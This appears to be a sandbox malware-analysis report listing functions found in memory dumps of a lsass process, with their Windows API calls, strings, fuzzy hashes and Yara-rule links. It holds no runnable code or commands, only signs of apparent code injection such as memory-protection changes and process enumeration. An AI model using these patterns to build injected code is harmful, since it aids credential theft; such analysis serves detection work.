String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: 8091200d2c4dae040897235056f41ec68d4ed09c36f7d4f29a797052f8d23726
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: DFF05863325B40C2FF459F60E8CC3AC2360AB98B80F4A141B975B86262CF3AC49CC300

Function 00000202C0AE54F0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5576

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction ID: a272b08cb90abcf02a2fc86bcceb2c100b51d762f3ed6657aeb5cb6e22d7e5ba
Opcode Fuzzy Hash: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction Fuzzy Hash: 5E02B732219BC4C6EB608B59F49835EB7A1F385794F114117EBDE87BAADB78C458CB00

Function 00000202C0AF0980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0AF09C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000202C0AF093F,?,?,?,00000202C0AEE263), ref: 00000202C0AF0A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000202C0AF093F,?,?,?,00000202C0AEE263), ref: 00000202C0AF0B0A

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: d1872c561c705f38e9229c3beeaaf80fd6878b7c1775d027ea7d44530a41b64b
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: 3581DF33610751C9FB60AB6688CCBAD67A1F344B98F464217DF4A67793DB36884AC710

Function 00000202C0AE5B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B46

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction ID: d0846778c9f8455aee169a2047bb21eb6bacd067c0f715569a147f0904d3a7df
Opcode Fuzzy Hash: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction Fuzzy Hash: 8A61B736518B84C6FA609B15F49C31E77A1F388784F114217EBDE87BAADB78C558CB04

Function 00000202C0AC13D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AC1400
_set_statfp.LIBCMT ref: 00000202C0AC141B
_set_statfp.LIBCMT ref: 00000202C0AC1437
_set_statfp.LIBCMT ref: 00000202C0AC1473

Memory Dump Source

Source File: 0000000C.00000003.1777918856.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_202c0ab0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 4d152d9eb979de7358603b4530df522b93ab3919d7d759988337ce92c9f54e9e
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 3211E5B6B50F10C1FB6C1228E6DE3AD10406B97F78F5B0627EB77073D79A1A894D9200

Function 00000202C0AF1FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AF2000
_set_statfp.LIBCMT ref: 00000202C0AF201B
_set_statfp.LIBCMT ref: 00000202C0AF2037
_set_statfp.LIBCMT ref: 00000202C0AF2073

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 6188f325b3ff6b650061d398d5b13b7a07f1c032209b097b93437b946017f880
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 26113023A54B0182F7682629E5EF36D55406B55374F1A4637AF761B7E78E2A8C8BC300

Function 00000202C0AE3BB8 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3BF4
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C34
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE3657), ref: 00000202C0AE3C55

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: 236923577d5aa15d6a4631904870ee2daaea5dc695f84c81897f3291c1047b0a
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: 8A112A27708780D2FB249B25E48C66D6260F788F94F050027DF9D47795EE3EC55C8700

Function 00000202C0AE3558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000202C0AE357A
StrStrW.SHLWAPI ref: 00000202C0AE3594
StrToIntW.SHLWAPI ref: 00000202C0AE35BB

Part of subcall function 00000202C0AE1934: OpenProcess.KERNEL32 ref: 00000202C0AE195A
Part of subcall function 00000202C0AE1934: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1978
Part of subcall function 00000202C0AE1934: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1987
Part of subcall function 00000202C0AE1934: lstrlenW.KERNEL32 ref: 00000202C0AE1993
Part of subcall function 00000202C0AE1934: StrCpyW.SHLWAPI ref: 00000202C0AE19A6
Part of subcall function 00000202C0AE1934: CloseHandle.KERNEL32 ref: 00000202C0AE19B4

Part of subcall function 00000202C0AE3C70: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE255A), ref: 00000202C0AE3C88

Strings

pid_, xrefs: 00000202C0AE3570

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: 2ae334772e38c68e7382a6be4194bc35f8502ba406b3a2429c7b105d830b93b4
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: 82114227308781E1FB209735E89D39E53A0F794740F5640239FA983796EF29C92DCB40

Function 00000202C0AE14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14C5
HeapFree.KERNEL32 ref: 00000202C0AE14D4
GetProcessHeap.KERNEL32 ref: 00000202C0AE14E1
HeapFree.KERNEL32 ref: 00000202C0AE14F0
GetProcessHeap.KERNEL32 ref: 00000202C0AE1500

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: 3b65aacb3217f76a4f1f48ad1aa66b7197232698b528f185b9e9419ea648dc4a
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: 85012533605B90C6EB44DFA6A88C15D67A0F788F80F0A4526EB9A4372ADF38C0598744

Function 00000202C0ABD178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0ABD249

Strings

bad array new length, xrefs: 00000202C0ABD385, 00000202C0ABD396
HIJKLMNOPQRSTUVWXYZ, xrefs: 00000202C0ABD2A1, 00000202C0ABD345

Memory Dump Source

Source File: 0000000C.00000003.1777918856.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_202c0ab0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: bfa7b9923ac52f3c8539521844de462a00e263f76baf048c72ac69bf02513b50
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: F561A132604784C2FEA99B19A1DC3AD6BE4F741784F174567DB0A1B7A3EB79C88D8301

Function 00000202C0AE2408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE24ED
StrCpyW.SHLWAPI ref: 00000202C0AE2504

Strings

\\.\pipe\, xrefs: 00000202C0AE24F8

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: 2f4c2c8d9dd4a6012bdb5abda99d943372c89785e9b581c845ab5935f0465f97
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: B0519E222087C1C1F6749E25A6EC3AE6761F395780F460027DFE903B9ADA7DC52C9B50

Function 00000202C0AF0724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF083B
GetLastError.KERNEL32 ref: 00000202C0AF085D

Strings

U, xrefs: 00000202C0AF07E7

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: b8b524b5fe783d67d5983f375c2dc6a45dc5e905a3e8289228bac1d50de3bbab
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: 33418F33215B44C5EB609F26E88C7AE67A1F798794F424027EF4E87799DB39C449CB80

Function 00000202C0AED7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED819
LCMapStringW.KERNEL32 ref: 00000202C0AED8A1

Strings

LCMapStringEx, xrefs: 00000202C0AED7FC, 00000202C0AED80D

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 59099710c9d0f1b4dd14af3ece67d82f0715fec4563d1d43b27d9008531ad6ec
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: 90110836608BC0C6EB60CB16B48829AB7A5F7C9B84F544127EFDD83B5ACF38C4548B04

Function 00000202C0AE95F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE9634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000202C0AE84FB), ref: 00000202C0AE967A

Strings

csm, xrefs: 00000202C0AE9667

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: a8f766778e052431c9a5ee78e48b909219ac05c3f8b6ede592f7d048be5d9e85
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 9D11FB32618B80C2EB218F15E48825DB7A5F788B94F194222EF9D07765DF39C5558704

Function 00000202C0AED77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00000202C0AEAE98), ref: 00000202C0AED7C7

Strings

InitializeCriticalSectionEx, xrefs: 00000202C0AED7A1

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: c53597e9f4568b1c293677c340c8b83d66163b3803097d7e19397ed64a21cc46
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: 5FF08227308B80C2FB049B51F4CC69D3260AB48B90F465127EB9917B96CF39C45DC704

Function 00000202C0AED728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED751
TlsSetValue.KERNEL32(?,?,?,00000202C0AEB50E,?,?,?,00000202C0AEB969,?,?,?,?,00000202C0AEBA1D), ref: 00000202C0AED768

Strings

FlsSetValue, xrefs: 00000202C0AED73E

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: 5dcba3befec19a3cabe185201543e8944ea2019330c246110f2bf2d11dbd80ca
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: 4CE06D63604740D2FB444B60F8CC2EC3262AB88780F5A8127EB650A2D6DF39C85DC204

Function 00000202C0AE1C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1C65
HeapAlloc.KERNEL32 ref: 00000202C0AE1C74
GetProcessHeap.KERNEL32 ref: 00000202C0AE1C9C
HeapFree.KERNEL32 ref: 00000202C0AE1CAA

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: 2e20f8dc9fcf14b6a4866c56fb94d75584ad51f9c336a833ae30503458a3a020
Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: 5D11A322605B90C1EF158B66944C15DA7A0FBC8FA0F5A4316DFA993795EF38C056C340

Function 00000202C0AE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
HeapAlloc.KERNEL32 ref: 00000202C0AE127D
GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: bf404a17543ca586d83c88378db0c96524e570c7edb6a69ba4fade01f97d1998
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: EBE03933602700C6FB448B62D84C34937E1EB88B05F0681268A0907351DF7E849D8740

Function 00000202C0AE1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1006
HeapAlloc.KERNEL32 ref: 00000202C0AE1015
GetProcessHeap.KERNEL32 ref: 00000202C0AE1028
HeapAlloc.KERNEL32 ref: 00000202C0AE1037

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
